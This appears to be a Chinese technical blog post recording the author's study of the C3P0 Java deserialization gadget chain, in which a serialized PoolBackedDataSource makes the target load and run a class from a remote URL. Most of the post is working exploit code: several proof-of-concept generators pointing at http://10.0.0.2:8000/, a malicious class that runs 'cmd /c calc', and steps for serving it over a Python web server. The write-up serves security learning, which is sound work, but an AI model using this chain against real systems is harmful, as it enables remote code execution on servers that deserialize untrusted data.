Java反序列化 C3P0 GadGets1利用链记录(URLClassLoader)

C3P0相关依赖包

解压后放到一个目录即可

c3p0-0.9.5.2.jar
mchange-commons-java-0.2.11.jar

GadGets1利用分析

利用链代码

package c3p0;

import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.mchange.v2.naming.ReferenceIndirector;
import com.mchange.v2.ser.IndirectlySerialized;


import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

/** 利用链
 * com.sun.jndi.rmi.registry.RegistryContext->lookup
 * com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
 * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
 */

public class GadGets1 {
    // 通过反序列化jndi注入的方式进行命令执行
    public static void main(String[] args) throws Exception {
        String className = "GadGets1_Exploit";
        String url = "http://10.0.0.2:8000/";
        PoolBackedDataSource o = new PoolBackedDataSource();
        Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        field.setAccessible(true);
        field.set(o, new PoolSource(className, url));

        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(o);
        oos.close();

        // 本地测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o0 = (Object) ois.readObject();
    }

    // 内部类 实现interface接口
    private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

        private String className;
        private String url;

        public PoolSource(String className, String url) {
            this.className = className;
            this.url = url;
        }

        public Reference getReference() throws NamingException {
            return new Reference("test", this.className, this.url);
        }

        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        public void setLogWriter(PrintWriter out) throws SQLException {
        }

        public void setLoginTimeout(int seconds) throws SQLException {
        }

        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }

        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

    }
}

根据现有poc的报错信息进行跟踪

不建议这种方式, 最后lookup的时候太自信了, 调试半天发现根本不是lookup导致的漏洞(笑哭)

当时很好奇lookup里面的contentName是从哪里来的, 然后发现研究错方向了

建议debug一点一点调试

image-20230207115812010

最上层readObject报错

image-20230207115858895

根据报错信息 继续向下寻找调用

image-20230207115952196

调用处为getObject() 继续跟踪 发现无法确定利用链执行到了哪里

image-20230207120041161

继续查看javax.naming.NamingException报错信息

image-20230207120203366

以为是在lookup这里执行的, 后续调试时发现这里的contentName属性值为空,不可以利用

其实是在下面一行的ReferenceableUtils.referenceToObject()里面进行的URLClassLoader加载 导致的序列化漏洞

image-20230207140714543

寻找利用链

在c3p0-0.9.5.2包中寻找lookup

com.mchange.v2.naming.ReferenceIndirector#getObject()方法 116行 lookup危险函数调用

image-20230207125906614

全局寻找getObject()方法调用

image-20230207132044890

可以看到都被转为了IndirectlySerialized类型 , IndirectlySerialized是一个可被序列化的接口类型

image-20230207132213614

寻找实现了IndirectlySerialized接口的类

发现只有ReferenceSerialized这个内部类实现了IndirectlySerialized接口

image-20230207132428804

回到正题 寻找调用

先看com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject()202行 重写了readObject方法

没看懂为什么这样写(萌新求解)

// we create an artificial scope so that we can use the name o for all indirectly serialized objects.
//翻译
//我们创建了一个人工作用域,以便可以对所有间接序列化的对象使用名称。

image-20230207133802891

再去看writeObject()

image-20230207133955034

有点意思

因为ConnectionPoolDataSource不是可以被序列化的类型

image-20230207134031045

image-20230207134132359

CommonDataSource也不是可以被序列化的类型 所以这里会走到catch

在catch中 应该是把connectionPoolDataSource转为了可以序列化的对象 跟进看一下

image-20230207134242307

com.mchange.v2.naming.ReferenceIndirector#indirectForm() 很明显将这个数据转为了可序列化的对象

image-20230207150557763

看一下

将传入对象实例化为Reference类,实现了Serializable接口

image-20230207134837699

并且入口点的PoolBackedDataSourceBase也实现了Referenceable接口

image-20230207134959173
大体的思路已经有了 序列化PoolBackedDataSourceBase这个类 然后控制ReferenceIndirector类的这个contextName参数,调用getObject()即可造成JNDI注入漏洞

跟踪后发现无法控制contentName参数

但在getObject()方法的调用中发现了URLClassLoader(正解)

image-20230207140651987
image-20230207140714543

String fClassName = ref.getFactoryClassName();
String fClassLocation = ref.getFactoryClassLocation();
对应Reference类的构造方法 开始构造POC

image-20230207141031649

Poc编写

利用链1POC1

package c3p0;

import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class GadGets2 {
    public static void main(String[] args) throws Exception {
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSource();
        Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        field.setAccessible(true);
        field.set(poolBackedDataSourceBase, new Poc_Class("GadGets1_Exploit", "http://10.0.0.2:8000/"));

        // 序列化数据 不会触发漏洞
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc_c3p0_gadgets1.ser"));
        objectOutputStream.writeObject(poolBackedDataSourceBase);
        objectOutputStream.close();

        // 反序列化触发漏洞
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("poc_c3p0_gadgets1.ser"));
        objectInputStream.readObject();
        objectInputStream.close();
    }

    private static final class Poc_Class implements Referenceable, ConnectionPoolDataSource {
        /* 为什么要实现Referenceable与ConnectionPoolDataSource的接口
         * PoolBackedDataSourceBase的writeObject中,先对connectionPoolDataSource进行了序列化connectionPoolDataSource为ConnectionPoolDataSource类型, 所以要实现ConnectionPoolDataSource的接口,用来反序列化
         * Referenceable 在PoolBackedDataSourceBase的序列化中 因为对象没有继承序列化所以序列化会报错, 底层选择了间接的序列化对数据进行序列化操作, 转换为Referenceable,类型所以也要实现Referenceable这个接口,用来序列化
         * */
        private String remote_className;
        private String remote_urlName;

        Poc_Class(String remote_className, String remote_urlName) {
            this.remote_className = remote_className;
            this.remote_urlName = remote_urlName;
        }

        @Override
        public Reference getReference() throws NamingException {
            /**源码中getReference返回的是Reference对象
             * 源码中调用了
             * String fClassName = ref.getFactoryClassName();
             * String fClassLocation = ref.getFactoryClassLocation();
             * 对应的,即为 Reference(随便(未被使用), 恶意类名称, 远程Url地址)
             * classname未调用, 所以随便赋一个值就行
             */
            return new Reference("qqq", remote_className, remote_urlName);
        }

        @Override
        public PooledConnection getPooledConnection() throws SQLException {return null;}

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {return null;}

        @Override
        public PrintWriter getLogWriter() throws SQLException {return null;}

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {}

        @Override
        public void setLoginTimeout(int seconds) throws SQLException {}

        @Override
        public int getLoginTimeout() throws SQLException {return 0;}

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {return null;}
    }

}

image-20230207144846069

利用链1POC2

public static void main(String[] args) throws Exception {
        JndiRefDataSourceBase poolBackedDataSourceBase = new JndiRefDataSourceBase(true);
        Field field = JndiRefDataSourceBase.class.getDeclaredField("jndiName");
        field.setAccessible(true);
        field.set(poolBackedDataSourceBase, new Poc_Class("GadGets1_Exploit", "http://10.0.0.2:8000/"));

        // 序列化数据 不会触发漏洞
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc_c3p0_gadgets1.ser"));
        objectOutputStream.writeObject(poolBackedDataSourceBase);
        objectOutputStream.close();

        // 反序列化触发漏洞
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("poc_c3p0_gadgets1.ser"));
        objectInputStream.readObject();
        objectInputStream.close();
    }

image-20230207152530473

C3P0 GadGets1 JNDI恶意类

编译class文件javac GadGets1_Exploit.java
开启py web服务 在gadgets1中进行加载py3 -m http.server

public class GadGets1_Exploit {
    public GadGets1_Exploit() {
        try {

            String[] commands = {"cmd", "/c", "calc"};
            for (int i = 0; i < commands.length; i++) {
                System.out.println(commands[i]);
            }
            System.out.println("======");
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] argv) {
        GadGets1_Exploit e = new GadGets1_Exploit();
    }
}

希望大佬们多多指教

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值